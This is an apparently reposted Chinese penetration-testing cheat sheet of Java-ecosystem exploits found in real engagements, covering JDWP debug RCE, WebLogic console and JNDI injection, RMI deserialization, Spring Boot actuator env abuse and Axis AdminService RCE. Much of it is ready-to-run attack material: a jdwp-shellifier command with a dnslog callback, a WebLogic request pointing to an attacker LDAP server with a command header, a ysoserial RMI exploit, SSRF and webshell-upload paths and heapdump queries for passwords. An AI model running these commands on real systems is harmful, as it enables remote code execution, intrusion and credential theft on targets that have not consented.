一,JDWP-RCE
nmap扫5888端口碰到个java debug服务,可远程RCE
https://github.com/IOActive/jdwp-shellifier/blob/master/jdwp-shellifier.py
python jdwp-shellifier.py -t 2.2.2.2 -p 5888 --break-on "java.lang.String.indexOf" --cmd "ping -c 1 css390.dnslog.cn"
二,weblogic-RCE
渗透测试最爽的就是遇到weblogic了吧,RCE漏洞实在太多了,很多时候能在一个weblogic上就能写出好多高危漏洞。
这里主要关注的是如下漏洞。
1,XMLDecoder,T3,IIOP的反序列化漏洞
不熟悉的可以回顾文章
https://mp.weixin.qq.com/s/AbsZFf3Hj44WucKKBIUOsQ
2,CVE-2020-14882/CVE-2020-14883/CVE-2021-2109
CVE-2020-14883是越权漏洞,常常和后台代码注入CVE-2020-14882配合。两者利用如下。
https://github.com/jas502n/CVE-2020-14882
但有的时候CVE-2020-14882会不好使,此时可以和CVE-2021-2109配合。
GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&handle=com.bea.console.handles.JndiBindingHandle(%22ldap://111.111.111;111:1389/Deserialization/Jdk7u21/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: test:7001
Content-Length: 0
cmd: tasklist
3,其他
CVE-2019-2618/CVE-2019-2615,需要后台密码,比较鸡肋。但其一般不会被删除接口,所以可以用来确认是否为weblogic,以及5次爆破密码。
/bea_wls_deployment_internal/DeploymentService
/bea_wls_management_internal2/wl_management
CVE-2018-2894
weblogic开发模式会暴露这两个可以上传webshell的接口
/ws_utc/config.do
/ws_utc/begin.do
SSRF,可换行,因此可用来攻击内网redis
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
三,RMI反序列化
8999端口扫到RMI服务,这个服务可双向被反序列化攻击,客户端攻击服务器,服务端攻击客户端均可。不过反序列化链可能找不到。
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 8999 CommonsCollections1 "whoami"
四,env未授权
springboot项目相对好攻击的点,详情见
https://github.com/LandGrey/SpringBootVulExploit
spring 1.x和spring 2.x利用稍有差别,spring 2.x也不一定都是/actuator/env,actuator字段可以自行设置,management/manage/monitor也可加入字典。
外带数据时,千万不要直接发送【http://q-w-e/${security.user.password}】,如果是一个不被解析的ur,比如q-w-e,会引起报错,此时无法再设置相关属性。可能会把整个env配置打坏掉。
设置eureka.client.serviceUrl.defaultZone或者其他属性时,refresh之后如果成功可以在env上看到自己设置的值。常用来判定是否设置成功,或者是否存在负载均衡。
heapdump之后常用的查询语句
select * from org.springframework.core.env.MapPropertySource
select * from org.springframework.web.context.support.StandardServletEnvironment
select * from java.lang.String s WHERE toString(s) like ".*password.*"
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("username"))
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("url"))
eureka RCE本质上是xstream反序列化,springboot-xstream-rce.py用的是imageio链。如果对方升级了xstream版本,则可尝试更新的xstream反序列化链。
https://www.anquanke.com/post/id/237207
五,AdminService RCE
Axis 1.4默认存在/services/AdminService?wsdl,可建立新的service来RCE,一般只允许本地域建立,可结合SSRF进行RCE。详情见
https://paper.seebug.org/1489/
不过有时候非本地域也能RCE,注意完事后删除新建的service
POST /services/AdminService HTTP/1.1
Host: test
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 468
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<undeployment xmlns="http://xml.apache.org/axis/wsdd/">
<service name="NewService"/>
</undeployment>
</soapenv:Body>
</soapenv:Envelope>
本文始发于微信公众号(珂技知识分享):最近实战中碰到的漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论